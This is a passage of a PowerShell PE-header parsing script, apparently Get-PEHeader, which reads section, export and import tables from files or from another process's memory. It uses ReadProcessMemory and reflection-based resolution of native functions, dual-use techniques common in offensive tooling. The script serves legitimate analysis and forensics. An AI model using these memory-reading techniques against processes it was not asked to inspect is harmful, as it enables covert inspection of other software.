, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x77B4FF54}...}
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x08221720}, @{Forwar
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x08225A3B}, @{ForwardedName=;
FunctionName=lstrlen; Ordinal=0x0550; VA=0x08225A3B}, @{ForwardedName=; FunctionN
ame=lstrcpynW; Ordinal=0x054F; VA=0x0824D566}...}
Description
-----------
A PE header is returned upon providing the module's base address. This technique would be useful for dumping the PE header of a rogue module that is invisible to Windows - e.g. a reflectively loaded meterpreter binary (metsrv.dll).
.NOTES
Be careful if you decide to specify a module base address. Get-PEHeader does not check for the existence of an MZ header. An MZ header is not a prerequisite for reflectively loading a module in memory. If you provide an address that is not an actual PE header, you could crash the process.
.LINK
http://www.exploit-monday.com/2012/07/get-peheader.html
#>
[CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param (
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath,
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID,
[Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module,
[Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress,
[Parameter()] [Switch] $GetSectionData
)
PROCESS {
switch ($PsCmdlet.ParameterSetName) {
'OnDisk' {
if ($FilePath.Length -gt 1) {
foreach ($Path in $FilePath) { Get-PEHeader $Path }
}
if (!(Test-Path $FilePath)) {
Write-Warning 'Invalid path or file does not exist.'
return
}
$FilePath = Resolve-Path $FilePath
if ($FilePath.GetType() -eq [System.Array]) {
$ModuleName = $FilePath[0]
} else {
$ModuleName = $FilePath
}
}
'InMemory' {
if ($Module.Length -gt 1) {
foreach ($Mod in $Module) {
$BaseAddr = $Mod.BaseAddress
Get-PEHeader -ProcessID $ProcessID -Module $Mod -ModuleBaseAddress $BaseAddr
}
}
if (-not $ModuleBaseAddress) { return }
if ($ProcessID -eq $PID) {
Write-Warning 'You cannot parse the PE header of the current process. Open another instance of PowerShell.'
return
}
if ($Module) {
$ModuleName = $Module[0].FileName
} else {
$ModuleName = ''
}
}
}
try { [PE] | Out-Null } catch [Management.Automation.RuntimeException]
{
$code = @"
using System;
using System.Runtime.InteropServices;
public class PE
{
[Flags]
public enum IMAGE_DOS_SIGNATURE : ushort
{
DOS_SIGNATURE = 0x5A4D, // MZ
OS2_SIGNATURE = 0x454E, // NE
OS2_SIGNATURE_LE = 0x454C, // LE
VXD_SIGNATURE = 0x454C, // LE
}
[Flags]
public enum IMAGE_NT_SIGNATURE : uint
{
VALID_PE_SIGNATURE = 0x00004550 // PE00
}
[Flags]
public enum IMAGE_FILE_MACHINE : ushort
{
UNKNOWN = 0,
I386 = 0x014c, // Intel 386.
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
R4000 = 0x0166, // MIPS little-endian
R10000 = 0x0168, // MIPS little-endian
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
ALPHA = 0x0184, // Alpha_AXP
SH3 = 0x01a2, // SH3 little-endian
SH3DSP = 0x01a3,
SH3E = 0x01a4, // SH3E little-endian
SH4 = 0x01a6, // SH4 little-endian
SH5 = 0x01a8, // SH5
ARM = 0x01c0, // ARM Little-Endian
THUMB = 0x01c2,
ARMNT = 0x01c4, // ARM Thumb-2 Little-Endian
AM33 = 0x01d3,
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
POWERPCFP = 0x01f1,
IA64 = 0x0200, // Intel 64
MIPS16 = 0x0266, // MIPS
ALPHA64 = 0x0284, // ALPHA64
MIPSFPU = 0x0366, // MIPS
MIPSFPU16 = 0x0466, // MIPS
AXP64 = ALPHA64,
TRICORE = 0x0520, // Infineon
CEF = 0x0CEF,
EBC = 0x0EBC, // EFI public byte Code
AMD64 = 0x8664, // AMD64 (K8)
M32R = 0x9041, // M32R little-endian
CEE = 0xC0EE
}
[Flags]
public enum IMAGE_FILE_CHARACTERISTICS : ushort
{
IMAGE_RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
IMAGE_EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
IMAGE_LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
IMAGE_LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
IMAGE_AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
IMAGE_LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
IMAGE_REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
IMAGE_32BIT_MACHINE = 0x0100, // 32 bit public ushort machine.
IMAGE_DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
IMAGE_REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
IMAGE_NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
IMAGE_SYSTEM = 0x1000, // System File.
IMAGE_DLL = 0x2000, // File is a DLL.
IMAGE_UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
IMAGE_REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
}
[Flags]
public enum IMAGE_NT_OPTIONAL_HDR_MAGIC : ushort
{
PE32 = 0x10b,
PE64 = 0x20b
}
[Flags]
public enum IMAGE_SUBSYSTEM : ushort
{
UNKNOWN = 0, // Unknown subsystem.
NATIVE = 1, // Image doesn't require a subsystem.
WINDOWS_GUI = 2, // Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3, // Image runs in the Windows character subsystem.
OS2_CUI = 5, // image runs in the OS/2 character subsystem.
POSIX_CUI = 7, // image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8, // image is a native Win9x driver.
WINDOWS_CE_GUI = 9, // Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10,
EFI_BOOT_SERVICE_DRIVER = 11,
EFI_RUNTIME_DRIVER = 12,
EFI_ROM = 13,
XBOX = 14,
WINDOWS_BOOT_APPLICATION = 16
}
[Flags]
public enum IMAGE_DLLCHARACTERISTICS : ushort
{
DYNAMIC_BASE = 0x0040, // DLL can move.
FORCE_INTEGRITY = 0x0080, // Code Integrity Image
NX_COMPAT = 0x0100, // Image is NX compatible
NO_ISOLATION = 0x0200, // Image understands isolation and doesn't want it
NO_SEH = 0x0400, // Image does not use SEH. No SE handler may reside in this image
NO_BIND = 0x0800, // Do not bind this image.
WDM_DRIVER = 0x2000, // Driver uses WDM model
TERMINAL_SERVER_AWARE = 0x8000
}
[Flags]
public enum IMAGE_SCN : uint
{
TYPE_NO_PAD = 0x00000008, // Reserved.
CNT_CODE = 0x00000020, // Section contains code.
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
LNK_COMDAT = 0x00001000, // Section contents comdat.
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
GPREL = 0x00008000, // Section content can be accessed relative to GP
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
MEM_SHARED = 0x10000000, // Section is shareable.
MEM_EXECUTE = 0x20000000, // Section is executable.
MEM_READ = 0x40000000, // Section is readable.
MEM_WRITE = 0x80000000 // Section is writeable.
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_DOS_HEADER
{
public IMAGE_DOS_SIGNATURE e_magic; // Magic number
public ushort e_cblp; // public bytes on last page of file
public ushort e_cp; // Pages in file
public ushort e_crlc; // Relocations
public ushort e_cparhdr; // Size of header in paragraphs
public ushort e_minalloc; // Minimum extra paragraphs needed
public ushort e_maxalloc; // Maximum extra paragraphs needed
public ushort e_ss; // Initial (relative) SS value
public ushort e_sp; // Initial SP value
public ushort e_csum; // Checksum
public ushort e_ip; // Initial IP value
public ushort e_cs; // Initial (relative) CS value
public ushort e_lfarlc; // File address of relocation table
public ushort e_ovno; // Overlay number
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string e_res; // This will contain 'Detours!' if patched in memory
public ushort e_oemid; // OEM identifier (for e_oeminfo)
public ushort e_oeminfo; // OEM information; e_oemid specific
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)] // , ArraySubType=UnmanagedType.U4
public ushort[] e_res2; // Reserved public ushorts
public int e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_FILE_HEADER
{
public IMAGE_FILE_MACHINE Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public IMAGE_FILE_CHARACTERISTICS Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_NT_HEADERS32
{
public IMAGE_NT_SIGNATURE Signature;
public _IMAGE_FILE_HEADER FileHeader;
public _IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_NT_HEADERS64
{
public IMAGE_NT_SIGNATURE Signature;
public _IMAGE_FILE_HEADER FileHeader;
public _IMAGE_OPTIONAL_HEADER64 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_OPTIONAL_HEADER32
{
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public IMAGE_SUBSYSTEM Subsystem;
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_OPTIONAL_HEADER64
{
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public IMAGE_SUBSYSTEM Subsystem;
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions; // RVA from base of image
public uint AddressOfNames; // RVA from base of image
public uint AddressOfNameOrdinals; // RVA from base of image
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public IMAGE_SCN Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
public uint TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date/time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
public uint ForwarderChain; // -1 if no forwarders
public uint Name;
public uint FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_THUNK_DATA32
{
public Int32 AddressOfData; // PIMAGE_IMPORT_BY_NAME
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_THUNK_DATA64
{
public Int64 AddressOfData; // PIMAGE_IMPORT_BY_NAME
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_IMPORT_BY_NAME
{
public ushort Hint;
public char Name;
}
}
"@
$compileParams = New-Object System.CodeDom.Compiler.CompilerParameters
$compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll'))
$compileParams.GenerateInMemory = $True
Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null
}
function Get-DelegateType
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
}
function Get-ProcAddress
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
#Fix For Windows 10 1803. Probably should check version , but meh.
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
#$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$OnDisk = $True
if ($PsCmdlet.ParameterSetName -eq 'InMemory') { $OnDisk = $False }
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate)
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate)
if ($OnDisk) {
$FileStream = New-Object System.IO.FileStream($FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
$FileByteArray = New-Object Byte[]($FileStream.Length)
$FileStream.Read($FileByteArray, 0, $FileStream.Length) | Out-Null
$FileStream.Close()
$Handle = [System.Runtime.InteropServices.GCHandle]::Alloc($FileByteArray, 'Pinned')
$PEBaseAddr = $Handle.AddrOfPinnedObject()
} else {
# Size of the memory page allocated for the PE header
$HeaderSize = 0x1000
# Allocate space for when the PE header is read from the remote process
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HeaderSize + 1)
# Get handle to the process
$hProcess = $OpenProcess.Invoke(0x10, $false, $ProcessID) # PROCESS_VM_READ (0x00000010)
# Read PE header from remote process
if (!$ReadProcessMemory.Invoke($hProcess, $ModuleBaseAddress, $PEBaseAddr, $HeaderSize, [Ref] 0)) {
if ($ModuleName) {
Write-Warning "Failed to read PE header of $ModuleName"
} else {
Write-Warning "Failed to read PE header of process ID: $ProcessID"
}
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
$CloseHandle.Invoke($hProcess) | Out-Null
return
}
}
$DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER])
$PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew)
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32])
$Architecture = ($NtHeader.FileHeader.Machine).ToString()
$BinaryPtrWidth = 4
# Define relevant structure types depending upon whether the binary is 32 or 64-bit
if ($Architecture -eq 'AMD64') {
$BinaryPtrWidth = 8
$PEStruct = @{
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER64]
NT_HEADER = [PE+_IMAGE_NT_HEADERS64]
}
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA64]
Write-Verbose "Architecture: $Architecture"
Write-Verbose 'Proceeding with parsing a 64-bit binary.'
} elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') {
$PEStruct = @{
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32]
NT_HEADER = [PE+_IMAGE_NT_HEADERS32]
}
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA32]
Write-Verbose "Architecture: $Architecture"
Write-Verbose 'Proceeding with parsing a 32-bit binary.'
} else {
Write-Warning 'Get-PEHeader only supports binaries compiled for x86, AMD64, and ARM.'
return
}
# Need to get a new NT header in case the architecture changed
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER'])
# Display all section headers
$NumSections = $NtHeader.FileHeader.NumberOfSections
$NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes
$PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER']))
$SectionHeaders = New-Object PSObject[]($NumSections)
foreach ($i in 0..($NumSections - 1))
{
$SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER])
}
if (!$OnDisk) {
$ReadSize = $NtHeader.OptionalHeader.SizeOfImage
# Free memory allocated for the PE header
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize + 1)
# Read process memory of each section header
foreach ($SectionHeader in $SectionHeaders) {
if (!$ReadProcessMemory.Invoke($hProcess, [IntPtr] ($ModuleBaseAddress.ToInt64() + $SectionHeader.VirtualAddress), [IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeader.VirtualAddress), $SectionHeader.VirtualSize, [Ref] 0)) {
if ($ModuleName) {
Write-Warning "Failed to read $($SectionHeader.Name) section of $ModuleName"
} else {
Write-Warning "Failed to read $($SectionHeader.Name) section of process ID: $ProcessID"
}
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
$CloseHandle.Invoke($hProcess) | Out-Null
return
}
}
# Close handle to the remote process since we no longer need to access the process.
$CloseHandle.Invoke($hProcess) | Out-Null
}
if ($PSBoundParameters['GetSectionData'])
{
foreach ($i in 0..($NumSections - 1))
{
$RawBytes = $null
if ($OnDisk)
{
$RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData)
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData)
}
else
{
$RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize)
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize)
}
$SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force
}
}
function Get-Exports()
{
if ($NTHeader.OptionalHeader.DataDirectory[0].VirtualAddress -eq 0) {
Write-Verbose 'Module does not contain any exports'
return
}
# List all function Rvas in the export table
$ExportPointer = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
# This range will be used to test for the existence of forwarded functions
$ExportDirLow = $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress
if ($OnDisk) {
$ExportPointer = Convert-RVAToFileOffset $ExportPointer
$ExportDirLow = Convert-RVAToFileOffset $ExportDirLow
$ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size
} else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size }
$ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY])
$AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames)
$NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals)
$AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions)
$NumNamesFuncs = $ExportDirectory.NumberOfFunctions - $ExportDirectory.NumberOfNames
$NumNames = $ExportDirectory.NumberOfNames
$NumFunctions = $ExportDirectory.NumberOfFunctions
$Base = $ExportDirectory.Base
# Recalculate file offsets based upon relative virtual addresses
if ($OnDisk) {
$AddressOfNamePtr = Convert-RVAToFileOffset $AddressOfNamePtr
$NameOrdinalAddrPtr = Convert-RVAToFileOffset $NameOrdinalAddrPtr
$AddressOfFunctionsPtr = Convert-RVAToFileOffset $AddressOfFunctionsPtr
}
if ($NumFunctions -gt 0) {
# Create an empty hash table that will contain indices to exported functions and their RVAs
$FunctionHashTable = @{}
foreach ($i in 0..($NumFunctions - 1))
{
$RvaFunction = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfFunctionsPtr.ToInt64() + ($i * 4))
# Function is exported by ordinal if $RvaFunction -ne 0. I.E. NumberOfFunction != the number of actual, exported functions.
if ($RvaFunction) { $FunctionHashTable[[Int]$i] = $RvaFunction }
}
# Create an empty hash table that will contain indices into RVA array and the function's name
$NameHashTable = @{}
foreach ($i in 0..($NumNames - 1))
{
$RvaName = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfNamePtr.ToInt64() + ($i * 4))
$FuncNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $RvaName)
if ($OnDisk) { $FuncNameAddr= Convert-RVAToFileOffset $FuncNameAddr }
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FuncNameAddr)
$NameOrdinal = [Int][System.Runtime.InteropServices.Marshal]::ReadInt16($NameOrdinalAddrPtr.ToInt64() + ($i * 2))
$NameHashTable[$NameOrdinal] = $FuncName
}
foreach ($Key in $FunctionHashTable.Keys)
{
$Result = @{}
if ($NameHashTable[$Key]) {
$Result['FunctionName'] = $NameHashTable[$Key]
} else {
$Result['FunctionName'] = ''
}
if (($FunctionHashTable[$Key] -ge $ExportDirLow) -and ($FunctionHashTable[$Key] -lt $ExportDirHigh)) {
$ForwardedNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $FunctionHashTable[$Key])
if ($OnDisk) { $ForwardedNameAddr = Convert-RVAToFileOffset $ForwardedNameAddr }
$ForwardedName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ForwardedNameAddr)
# This script does not attempt to resolve the virtual addresses of forwarded functions
$Result['ForwardedName'] = $ForwardedName
} else {
$Result['ForwardedName'] = ''
}
$Result['Ordinal'] = "0x$(($Key + $Base).ToString('X4'))"
$Result['RVA'] = "0x$($FunctionHashTable[$Key].ToString("X$($BinaryPtrWidth*2)"))"
#$Result['VA'] = "0x$(($FunctionHashTable[$Key] + $PEBaseAddr.ToInt64()).ToString("X$($BinaryPtrWidth*2)"))"
$Export = New-Object PSObject -Property $Result
$Export.PSObject.TypeNames.Insert(0, 'Export')
$Export
}
} else { Write-Verbose 'Module does not export any functions.' }
}
function Get-Imports()
{
if ($NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress -eq 0) {
Write-Verbose 'Module does not contain any imports'
return
}
$FirstImageImportDescriptorPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[1].VirtualAddress)
if ($OnDisk) { $FirstImageImportDescriptorPtr = Convert-RVAToFileOffset $FirstImageImportDescriptorPtr }
$ImportDescriptorPtr = $FirstImageImportDescriptorPtr
$i = 0
# Get all imported modules
while ($true)
{
$ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])))
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])
if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break }
$DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name)
if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr }
$DllName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($DllNamePtr)
$FirstFuncAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.FirstThunk)
if ($OnDisk) { $FirstFuncAddrPtr = Convert-RVAToFileOffset $FirstFuncAddrPtr }
$FuncAddrPtr = $FirstFuncAddrPtr
